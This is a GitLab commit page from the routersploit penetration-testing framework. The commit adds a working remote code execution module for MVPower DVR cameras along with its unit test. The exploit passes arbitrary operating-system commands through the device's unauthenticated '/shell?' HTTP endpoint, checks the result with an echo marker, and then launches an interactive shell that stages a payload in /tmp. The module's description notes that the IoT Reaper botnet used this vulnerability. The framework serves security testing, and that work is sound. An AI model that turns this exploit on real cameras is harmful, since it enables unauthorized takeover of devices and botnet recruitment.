Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
R
routersploit
Overview
Overview
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
czos-dpend
routersploit
Commits
791b6f9d
Unverified
Commit
791b6f9d
authored
May 11, 2018
by
Marcin Bury
Committed by
GitHub
May 11, 2018
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
Adding MVPower DVR Jaws RCE exploit (#414)
parent
2e55f7c4
Show whitespace changes
Inline
Side-by-side
Showing
5 changed files
with
86 additions
and
1 deletions
+86
-1
ssh_client.py
routersploit/core/ssh/ssh_client.py
+1
-1
__init__.py
routersploit/modules/exploits/cameras/mvpower/__init__.py
+0
-0
dvr_jaws_rce.py
...ersploit/modules/exploits/cameras/mvpower/dvr_jaws_rce.py
+56
-0
__init__.py
tests/exploits/cameras/mvpower/__init__.py
+0
-0
test_dvr_jaws_rce.py
tests/exploits/cameras/mvpower/test_dvr_jaws_rce.py
+29
-0
No files found.
routersploit/core/ssh/ssh_client.py
View file @
791b6f9d
...
@@ -14,7 +14,7 @@ from routersploit.core.exploit.printer import print_error
...
@@ -14,7 +14,7 @@ from routersploit.core.exploit.printer import print_error
from
routersploit.core.exploit.utils
import
random_text
from
routersploit.core.exploit.utils
import
random_text
SSH_TIMEOUT
=
30
.0
SSH_TIMEOUT
=
8
.0
class
SSHClient
(
Exploit
):
class
SSHClient
(
Exploit
):
...
...
routersploit/modules/exploits/cameras/mvpower/__init__.py
0 → 100644
View file @
791b6f9d
routersploit/modules/exploits/cameras/mvpower/dvr_jaws_rce.py
0 → 100644
View file @
791b6f9d
from
routersploit.core.exploit
import
*
from
routersploit.core.http.http_client
import
HTTPClient
class
Exploit
(
HTTPClient
):
__info__
=
{
"name"
:
"MVPower DVR Jaws RCE"
,
"description"
:
"Module exploits MVPower DVR Jaws RCE vulnerability through 'shell' resource."
"Successful exploitation allows remote unauthorized attacker to execute "
"commands on operating system level. Vulnerablity was actively used by "
"IoT Reaper botnet."
,
"authors"
:
(
"Paul Davies (UHF-Satcom)"
,
# initial vulnerability discovery and PoC
"Andrew Tierney (Pen Test Partners)"
,
# independent vulnerability discovery and PoC
"Marcin Bury <marcin[at]threat9.com>"
,
# routersploit module
),
"references"
:
(
"https://labby.co.uk/cheap-dvr-teardown-and-pinout-mvpower-hi3520d_v1-95p/"
,
"https://www.pentestpartners.com/security-blog/pwning-cctv-cameras"
,
),
"devices"
:
(
"MVPower model TV-7104HE firmware version 1.8.4 115215B9"
,
),
}
target
=
OptIP
(
""
,
"Target IPv4 or IPv6 address"
)
port
=
OptPort
(
80
,
"Target HTTP port"
)
def
run
(
self
):
if
self
.
check
():
print_success
(
"Target seems to be vulnerable"
)
shell
(
self
,
architecture
=
"armle"
,
method
=
"echo"
,
location
=
"/tmp"
)
else
:
print_error
(
"Exploit failed - target seems to be not vulnerable"
)
def
execute
(
self
,
cmd
):
path
=
"/shell?{}"
.
format
(
cmd
)
response
=
self
.
http_request
(
method
=
"GET"
,
path
=
path
,
)
if
response
:
return
response
.
text
return
""
@mute
def
check
(
self
):
mark
=
utils
.
random_text
(
16
)
cmd
=
"echo {}"
.
format
(
mark
)
if
mark
in
self
.
execute
(
cmd
):
return
True
# target is vulnerable
return
False
# target is not vulnerable
tests/exploits/cameras/mvpower/__init__.py
0 → 100644
View file @
791b6f9d
tests/exploits/cameras/mvpower/test_dvr_jaws_rce.py
0 → 100644
View file @
791b6f9d
import
re
from
unittest
import
mock
from
flask
import
request
from
routersploit.modules.exploits.cameras.mvpower.dvr_jaws_rce
import
Exploit
def
apply_response
(
*
args
,
**
kwargs
):
cmd
=
request
.
query_string
res
=
re
.
findall
(
b
"echo
%20
(.+)"
,
cmd
)
if
res
:
return
str
(
res
[
0
],
"utf-8"
),
200
return
"WRONG"
,
200
@mock.patch
(
"routersploit.modules.exploits.cameras.mvpower.dvr_jaws_rce.shell"
)
def
test_exploit_success
(
mocked_shell
,
target
):
""" Test scenario - successful exploitation """
route_mock
=
target
.
get_route_mock
(
"/shell"
,
methods
=
[
"GET"
])
route_mock
.
side_effect
=
apply_response
exploit
=
Exploit
()
exploit
.
target
=
target
.
host
exploit
.
port
=
target
.
port
assert
exploit
.
check
()
assert
exploit
.
run
()
is
None
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment